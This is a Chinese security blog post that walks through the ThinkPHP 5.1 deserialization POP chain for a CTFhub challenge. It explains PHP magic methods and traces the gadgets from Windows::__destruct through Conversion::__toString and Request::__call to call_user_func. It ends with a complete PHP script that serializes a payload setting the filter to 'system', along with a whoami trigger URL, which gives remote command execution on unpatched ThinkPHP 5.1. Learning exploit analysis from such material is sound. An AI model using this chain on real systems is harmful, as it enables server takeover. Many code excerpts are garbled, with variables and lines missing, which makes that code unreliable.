本文已参与「新人创作礼」活动,一起开启掘金创作之路。
0x00 前言
最近挖不出漏洞了,所以来学习一下反序列化。毕竟测试的系统连个页面也没有,只给了十几个接口。之前对反序列化只停留在基础的原理层面,所以这次着重一下分析思想和如何写poc上面。所以就拿最经典的分析。
0x01 复现环境
windows10
phpstudy(apache+mysql)
thinkphp5.1
php7.3.4
CTFhub thinkphp5.1反序列化题目
0x02 CTFhub thinkphp
答题
开启环境后
将代码下载到本地,利用phpstrom+phpstudy+xdebug搭建分析环境
查看一下writeup给的exp,放到本地环境生成序列化后的字符串。
看一下环境中给出的序列化参数是在index/controller/Index.php 中str
所以利用方式如下
获取flag
关于s=index/index/hello&a=whoami
为什么s是路由?
默认配置中,var_pathinfo默认为s,所以我们可以用$_GET[‘s’]来传递路由信息。application/index/controller/ 为默认控制器的根目录,当我们在路由中书写时,如果只使用默认控制器,只用写入 控制器文件名/方法。
'index/index/hello' //模块(index)/控制器(controller)/index.php/:function hello
为什么a是参数?
其实a,b,c等都可以,只要不与其他内定规则冲突
0x03 基础知识
魔术方法
PoP链的核心,就是魔术方法。而php的魔术方法中涉及到反序列化的大致有以下几种:
__destruct: 析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。一般来说,也是Pop链的入口。
__toString: 类对象遇到字符串操作时触发。
__wakeup: 类实例反序列化时触发。
__call: 当调用了类对象中不存在或者不可访问的方法时触发。
__callStatic:当调用了类对象中不可访问的静态方法时触发。
__get: 当获取了类对象中不可访问的属性时触发。
__set: 当试图向类对象中不可访问的属性赋值时触发。
__invoke: 当对象调用为函数时触发
反序列化的常见起点
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 func();
反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
0x04 分析
首先我们先看一下大佬画的攻击链
然后我们来思考一下为什么会找到以上函数当链条
__destruct
目标:通过__destruct想法设法调用output类中的__call来实现命令执行
全局搜索__destruct
Windows.php里的__destruct可以作为入口点
在 think\process\pipes\Windows 类的 __destruct 方法中,存在一个删除文件功能,而这里的文件名 $filename 变量是可控。
public function __destruct()
{
this->removeFiles();
}
//removeFiles
private function removeFiles()
{
foreach (filename) {
if (file_exists(filename)) {
@unlink(filename);
}
}
$this->files = [];
}
如果我们将一个类赋值给 filename) 的时候,就会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。
function file_exists(string $filename): bool {}
/**
* Tells whether the filename is writable
* @link php.net/manual/en/f…
* @param string $filename
__toString
全局搜索__toString
this->append ,是可以控制的。
public function __toString()
{
return $this->toJson();
}
//跟进toJson
public function toJson(options = JSON\_UNESCAPED\_UNICODE)
{
return json\_encode(this->toArray(), $options);
}
//跟进toArray
public function toArray()
{
item \= \[\];
hasVisible = false;
...
// 追加属性(必须定义获取器)
if (!empty(this->append)) { //需要数组非空进入
foreach (this->append as name) { //遍历数组,且数组要是键值对的形式
if (is_array(name)) { //name需要是数组
// 追加关联对象属性
relation = key);
if (!relation) {
relation = key);
if (relation) {
relation->visible($name);
}
}
key] = relation->append(name)->toArray() : \[\]; } ... return item;
通过查看getData函数我们可以知道this->data[$name] ,而这个变量是可以控制的。
public function getAttr(name, &item = null)
{
try {
value = name);
} catch (InvalidArgumentException e) {
notFound = true;
$value = null;
}
//跟进getData
public function getData(name = null)
{
if (is\_null(name)) {
return this->data;
} elseif (array\_key\_exists(name, this->data)) {
return this->data[name\];
} elseif (array\_key\_exists(name, this->relation)) {
return this->relation[name\];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . name);
}
所以 name) 就变成了:可控类->visible(可控变量) 。
代码执行点分析
__call方法
只要对象可控,且调用了不存在的方法,就会调用__call方法,因为visible不存在,所以会调用 $relation的__call方法
全局搜索__call方法
Request类中的 __call方法 存在call_user_func_array,并且 this->hook[$method]去调用我们想要调用的函数。但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。无法控制构造pyaload。
public function __call(args)
{
if (array_key_exists(this->hook)) {
array_unshift(this);
return call_user_func_array(method], $args);
}
input -filterValue
在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。
分析过 ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是链中一个非常棒的 Gadget ,相当于 call_user_func(data) 。但是前面我们说过, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。
public function input(data = \[\], name = '', filter = '')
{ // 解析过滤器
this->getFilter(default);
if (is_array(data)) {
array\_walk\_recursive(data, [this, 'filterValue'\], filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
data);
}
} else {
data, filter);
}
}
//filterValue
//通过后面的分析我们知道param函数可以获得this->param。会发现filterValue.value的值为第一个通过GET请求的值,而filters.key为GET请求的键,并且filters.filters就等于input.filters的值。
private function filterValue(&key, filters)
{
default = array_pop($filters);
foreach (filter) {
if (is_callable(filter)) {
// 调用函数或者方法过滤
value = call_user_func(value);
//
}
param
在找何处调用input时,发现了param()函数调用input,并且第一个参数的值$this->param可控
//param
public function param(default = null, filter = '')
{
return this->input(name, filter);
}
this->param,还有请求参数和URL地址中的参数合并。
但考虑到调用的函数是array_walk_recursive,数组中的每个成员都被回调函数调用,因此其实直接构造this->param了,而是把要执行的命令写在get参数里即第二个参数($this->get(false))。
this->param \= array\_merge(this->param, vars, $this->route(false));
isAjax
何处调用了param(),并且调用时$name为空,经过寻找找到了isAjax()
//isAjax
public function isAjax(ajax = false)
{
result = this->config['var_ajax']) ? true : $result;
}
在isAjax函数中,我们可以控制this->config\['var\_ajax'\],this->config['var_ajax']可控就意味着param函数中的name可控就意味着input函数中的$name可控。
this->config\['var\_ajax'\]是配置文件中的值,只需要让他为空,那么他在调用this->param时,默认的第一个参数name就为空,从而绕过了input函数中的if判断。也就进入了data, filter);
exp
关于payload解释一下为什么使用$this->files=[new Pivot()];
//model中含有conversion 我们就可以调用Conversion的__toString
namespace think;
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
//Pivot继承model 在filename传入Pivot类对象 将Pivot类做字符串处理,从而调用Conversion的__toString
namespace think\model;
use think\Model;
class Pivot extends Model
{
namespace think;
abstract class Model{
protected append = \[\]; //传入数组
private data = [];
function __construct(){
this->append = \["ethan"=>\["calc.exe","calc"\]\]; //数组非空且为键值对 name需要是数组即\["calc.exe","calc"\]
this->data = ["ethan"=>new Request()]; //Request()里没有visible函数,就会调用call函数
}
}
class Request
{
protected hook = \[\];
protected filter = "system";
protected config = \[
// 表单请求类型伪装变量
'var\_method' \=> '\_method',
// 表单ajax伪装变量
'var\_ajax' \=> '\_ajax',
// 表单pjax伪装变量
'var\_pjax' \=> '\_pjax',
// PATHINFO变量名 用于兼容模式
'var\_pathinfo' \=> 's',
// 兼容PATH\_INFO获取
'pathinfo\_fetch' \=> \['ORIG\_PATH\_INFO', 'REDIRECT\_PATH\_INFO', 'REDIRECT\_URL'\],
// 默认全局过滤方法 用逗号分隔多个
'default\_filter' \=> '',
// 域名根,如thinkphp.cn
'url\_domain\_root' \=> '',
// HTTPS代理标识
'https\_agent\_name' => '',
// IP代理获取标识
'http\_agent\_ip' \=> 'HTTP\_X\_REAL\_IP',
// URL伪静态后缀
'url\_html\_suffix' \=> 'html',
\];
function \_\_construct(){
this->filter = "system";
this->config = \["var\_ajax"=>''\];
this->hook = ["visible"=>[$this,"isAjax"]]; //hook调用filterValue的call_user_func
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>
参考链接:
☆ END ☆
灼剑(Tsojan)安全团队